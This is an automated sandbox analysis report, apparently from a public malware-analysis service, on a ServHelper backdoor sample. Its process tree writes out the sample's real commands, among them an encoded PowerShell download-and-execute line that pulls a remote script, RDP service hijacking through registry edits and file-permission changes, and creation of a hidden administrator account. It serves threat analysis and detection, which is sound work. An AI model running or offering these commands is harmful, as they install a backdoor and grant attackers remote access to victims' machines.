servhelper | 02031c62d916cdd41d26a271e93ec5b06eabfa910187207b02ead07fd480c2a9

Analysis

max time kernel
158s
max time network
183s
platform
windows7_x64
resource
win7v20210408
submitted
24-08-2021 05:19

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1aa9dda1b9b413444b0668500611c7f3.exe
Size

7.2MB
MD5

1aa9dda1b9b413444b0668500611c7f3
SHA1

d980ac83bf107df1a7510ad94304a7e364d927a5
SHA256

02031c62d916cdd41d26a271e93ec5b06eabfa910187207b02ead07fd480c2a9
SHA512

37a301fd61c42c10f774950826469f215a20a24d783316febfeafd0fa06d88f536daa4d5d10153fd1ec42cc778d87716fe5b4bb9782c03e86a4e3b336e9efd53

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
13	1692	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
1212	Uso.exe.com
852	Uso.exe.com
1760	Uso.exe.com

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1144	icacls.exe
992	icacls.exe
2012	takeown.exe
1608	icacls.exe
920	icacls.exe
1080	icacls.exe
948	icacls.exe
792	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0004000000013113-204.dat	upx
behavioral1/files/0x0005000000013116-205.dat	upx

Deletes itself 1 IoCs

pid	Process
1308	powershell.exe

Loads dropped DLL 5 IoCs

pid	Process
2040	cmd.exe
1212	Uso.exe.com
852	Uso.exe.com
1812	Process not Found
1812	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
920	icacls.exe
1080	icacls.exe
948	icacls.exe
792	icacls.exe
1144	icacls.exe
992	icacls.exe
2012	takeown.exe
1608	icacls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 852 set thread context of 1760	852	Uso.exe.com	37

Drops file in Windows directory 21 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_0c81e453-baaf-40e2-8303-3d13945417e0	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b1d87d01-7ccf-4430-b6f9-db5552bca0cb	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_66281f60-6b3d-4e9b-8b33-d76b3afd1685	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_96b3d76b-a3e2-410d-90a8-a841514e0f57	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\C2C5NK5FADZY1QWTOXIU.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6d618927-2737-4eb8-881e-d9e0ec9a5c0a	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4b2cfaaa-4991-4916-a804-635c7fee2217	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_99d6eabf-b0e5-4827-bdea-16e34dc5b20d	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_5d2c819d-2abf-48b9-bfdc-70d318a86891	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_f206d1d3-6fbf-487b-8434-5e7eef66354a	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_186b0f4f-fc0e-41d1-9f06-63a5ab208c36	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b888dce8-5e03-4e0b-9b2b-9fa2e4205658	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 10eadd35b998d701	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1964	reg.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	Uso.exe.com
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	Uso.exe.com

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1340	PING.EXE

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
1308	powershell.exe
1308	powershell.exe
1216	powershell.exe
1216	powershell.exe
1996	powershell.exe
1996	powershell.exe
1064	powershell.exe
1064	powershell.exe
1308	powershell.exe
1308	powershell.exe
1308	powershell.exe
1692	powershell.exe
1692	powershell.exe

Suspicious behavior: LoadsDriver 3 IoCs

pid	Process
460	Process not Found
1812	Process not Found
1812	Process not Found

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	1760	Uso.exe.com
Token: SeDebugPrivilege	1308	powershell.exe
Token: SeDebugPrivilege	1216	powershell.exe
Token: SeDebugPrivilege	1996	powershell.exe
Token: SeDebugPrivilege	1064	powershell.exe
Token: SeRestorePrivilege	920	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1964	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1964	WMIC.exe
Token: SeAuditPrivilege	1964	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1964	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1964	WMIC.exe
Token: SeAuditPrivilege	1964	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1688	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1688	WMIC.exe
Token: SeAuditPrivilege	1688	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1688	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1688	WMIC.exe
Token: SeAuditPrivilege	1688	WMIC.exe
Token: SeDebugPrivilege	1692	powershell.exe

Suspicious use of FindShellTrayWindow 6 IoCs

pid	Process
1212	Uso.exe.com
1212	Uso.exe.com
1212	Uso.exe.com
852	Uso.exe.com
852	Uso.exe.com
852	Uso.exe.com

Suspicious use of SendNotifyMessage 6 IoCs

pid	Process
1212	Uso.exe.com
1212	Uso.exe.com
1212	Uso.exe.com
852	Uso.exe.com
852	Uso.exe.com
852	Uso.exe.com

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1468 wrote to memory of 1672	1468	1aa9dda1b9b413444b0668500611c7f3.exe	29
PID 1468 wrote to memory of 1672	1468	1aa9dda1b9b413444b0668500611c7f3.exe	29
PID 1468 wrote to memory of 1672	1468	1aa9dda1b9b413444b0668500611c7f3.exe	29
PID 1468 wrote to memory of 1672	1468	1aa9dda1b9b413444b0668500611c7f3.exe	29
PID 1468 wrote to memory of 1152	1468	1aa9dda1b9b413444b0668500611c7f3.exe	30
PID 1468 wrote to memory of 1152	1468	1aa9dda1b9b413444b0668500611c7f3.exe	30
PID 1468 wrote to memory of 1152	1468	1aa9dda1b9b413444b0668500611c7f3.exe	30
PID 1468 wrote to memory of 1152	1468	1aa9dda1b9b413444b0668500611c7f3.exe	30
PID 1152 wrote to memory of 2040	1152	cmd.exe	32
PID 1152 wrote to memory of 2040	1152	cmd.exe	32
PID 1152 wrote to memory of 2040	1152	cmd.exe	32
PID 1152 wrote to memory of 2040	1152	cmd.exe	32
PID 2040 wrote to memory of 1208	2040	cmd.exe	33
PID 2040 wrote to memory of 1208	2040	cmd.exe	33
PID 2040 wrote to memory of 1208	2040	cmd.exe	33
PID 2040 wrote to memory of 1208	2040	cmd.exe	33
PID 2040 wrote to memory of 1212	2040	cmd.exe	34
PID 2040 wrote to memory of 1212	2040	cmd.exe	34
PID 2040 wrote to memory of 1212	2040	cmd.exe	34
PID 2040 wrote to memory of 1212	2040	cmd.exe	34
PID 2040 wrote to memory of 1340	2040	cmd.exe	35
PID 2040 wrote to memory of 1340	2040	cmd.exe	35
PID 2040 wrote to memory of 1340	2040	cmd.exe	35
PID 2040 wrote to memory of 1340	2040	cmd.exe	35
PID 1212 wrote to memory of 852	1212	Uso.exe.com	36
PID 1212 wrote to memory of 852	1212	Uso.exe.com	36
PID 1212 wrote to memory of 852	1212	Uso.exe.com	36
PID 852 wrote to memory of 1760	852	Uso.exe.com	37
PID 852 wrote to memory of 1760	852	Uso.exe.com	37
PID 852 wrote to memory of 1760	852	Uso.exe.com	37
PID 852 wrote to memory of 1760	852	Uso.exe.com	37
PID 852 wrote to memory of 1760	852	Uso.exe.com	37
PID 1760 wrote to memory of 1308	1760	Uso.exe.com	39
PID 1760 wrote to memory of 1308	1760	Uso.exe.com	39
PID 1760 wrote to memory of 1308	1760	Uso.exe.com	39
PID 1308 wrote to memory of 1928	1308	powershell.exe	41
PID 1308 wrote to memory of 1928	1308	powershell.exe	41
PID 1308 wrote to memory of 1928	1308	powershell.exe	41
PID 1928 wrote to memory of 1972	1928	csc.exe	42
PID 1928 wrote to memory of 1972	1928	csc.exe	42
PID 1928 wrote to memory of 1972	1928	csc.exe	42
PID 1308 wrote to memory of 1216	1308	powershell.exe	43
PID 1308 wrote to memory of 1216	1308	powershell.exe	43
PID 1308 wrote to memory of 1216	1308	powershell.exe	43
PID 1308 wrote to memory of 1996	1308	powershell.exe	45
PID 1308 wrote to memory of 1996	1308	powershell.exe	45
PID 1308 wrote to memory of 1996	1308	powershell.exe	45
PID 1308 wrote to memory of 1064	1308	powershell.exe	47
PID 1308 wrote to memory of 1064	1308	powershell.exe	47
PID 1308 wrote to memory of 1064	1308	powershell.exe	47
PID 1308 wrote to memory of 2012	1308	powershell.exe	49
PID 1308 wrote to memory of 2012	1308	powershell.exe	49
PID 1308 wrote to memory of 2012	1308	powershell.exe	49
PID 1308 wrote to memory of 1608	1308	powershell.exe	50
PID 1308 wrote to memory of 1608	1308	powershell.exe	50
PID 1308 wrote to memory of 1608	1308	powershell.exe	50
PID 1308 wrote to memory of 920	1308	powershell.exe	51
PID 1308 wrote to memory of 920	1308	powershell.exe	51
PID 1308 wrote to memory of 920	1308	powershell.exe	51
PID 1308 wrote to memory of 1080	1308	powershell.exe	52
PID 1308 wrote to memory of 1080	1308	powershell.exe	52
PID 1308 wrote to memory of 1080	1308	powershell.exe	52
PID 1308 wrote to memory of 948	1308	powershell.exe	53
PID 1308 wrote to memory of 948	1308	powershell.exe	53

C:\Users\Admin\AppData\Local\Temp\1aa9dda1b9b413444b0668500611c7f3.exe
"C:\Users\Admin\AppData\Local\Temp\1aa9dda1b9b413444b0668500611c7f3.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1468
- C:\Windows\SysWOW64\dllhost.exe
  "C:\Windows\System32\dllhost.exe"
  2⤵
  PID:1672
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cmd < Bianchezza.xltx
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1152
- - C:\Windows\SysWOW64\cmd.exe
    cmd
    3⤵
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:2040
  - - C:\Windows\SysWOW64\findstr.exe
      findstr /V /R "^neXfkAonzMgXVmZcOdbhYtXinpUsiRQPwpGkvuIPGbsmTRiWdNhKCZQztQQwGRdBWnVLTOZIHIGBMnhHwYqzEyjezjuGfHoPuPCcVveCOErUagHFCoZIRXXQkTsHHzzqmRcWVSM$" Veda.xltx
      4⤵
      PID:1208
  - - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com
      Uso.exe.com B
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of WriteProcessMemory
      PID:1212
    - - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com B
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of WriteProcessMemory
        
        PID:852
      - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com
        6⤵
        Executes dropped EXE
        Modifies system certificate store
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1760
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
        7⤵
        Deletes itself
        Drops file in System32 directory
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1308
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dfxeqvt1\dfxeqvt1.cmdline"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1928
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8797.tmp" "c:\Users\Admin\AppData\Local\Temp\dfxeqvt1\CSC63C13FED99E4412E87E4A9C7B7A5D23.TMP"
        9⤵
        
        PID:1972
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
        8⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1216
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
        8⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1996
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
        8⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1064
        
        C:\Windows\system32\takeown.exe
        
        "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2012
        
        C:\Windows\system32\icacls.exe
        
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1608
        
        C:\Windows\system32\icacls.exe
        
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        Suspicious use of AdjustPrivilegeToken
        
        PID:920
        
        C:\Windows\system32\icacls.exe
        
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1080
        
        C:\Windows\system32\icacls.exe
        
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:948
        
        C:\Windows\system32\icacls.exe
        
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:792
        
        C:\Windows\system32\icacls.exe
        
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1144
        
        C:\Windows\system32\icacls.exe
        
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:992
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
        8⤵
        
        PID:1972
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
        8⤵
        Modifies registry key
        
        PID:1964
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
        8⤵
        
        PID:1376
        
        C:\Windows\system32\net.exe
        
        "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        8⤵
        
        PID:1072
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        9⤵
        
        PID:1504
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
        8⤵
        
        PID:1188
        
        C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        9⤵
        
        PID:1592
        
        C:\Windows\system32\net.exe
        
        net start rdpdr
        10⤵
        
        PID:1688
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        11⤵
        
        PID:1696
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
        8⤵
        
        PID:1576
        
        C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        9⤵
        
        PID:852
        
        C:\Windows\system32\net.exe
        
        net start TermService
        10⤵
        
        PID:1212
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        11⤵
        
        PID:816
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
        8⤵
        
        PID:1644
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
        8⤵
        
        PID:1576
  - - C:\Windows\SysWOW64\PING.EXE
      ping QWOCTUPM -n 30
      4⤵
      Runs ping.exe
      PID:1340

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
PID:1836
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  PID:2012
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:1608

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc wajxlNxR /add
1⤵
PID:1328
- C:\Windows\system32\net.exe
  net.exe user wgautilacc wajxlNxR /add
  2⤵
  PID:944
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc wajxlNxR /add
    3⤵
    PID:948

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
PID:1588
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  PID:1728
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:1604

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
1⤵
PID:1668
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
  2⤵
  PID:1072
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
    3⤵
    PID:1956

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
PID:1592
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:1692
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:520

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc wajxlNxR
1⤵
PID:2028
- C:\Windows\system32\net.exe
  net.exe user wgautilacc wajxlNxR
  2⤵
  PID:1836
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc wajxlNxR
    3⤵
    PID:1928

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:944
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1964

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1144
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1688

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1372
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:552
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1692

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/852-80-0x0000000000520000-0x0000000000521000-memory.dmp

Filesize
4KB

Download
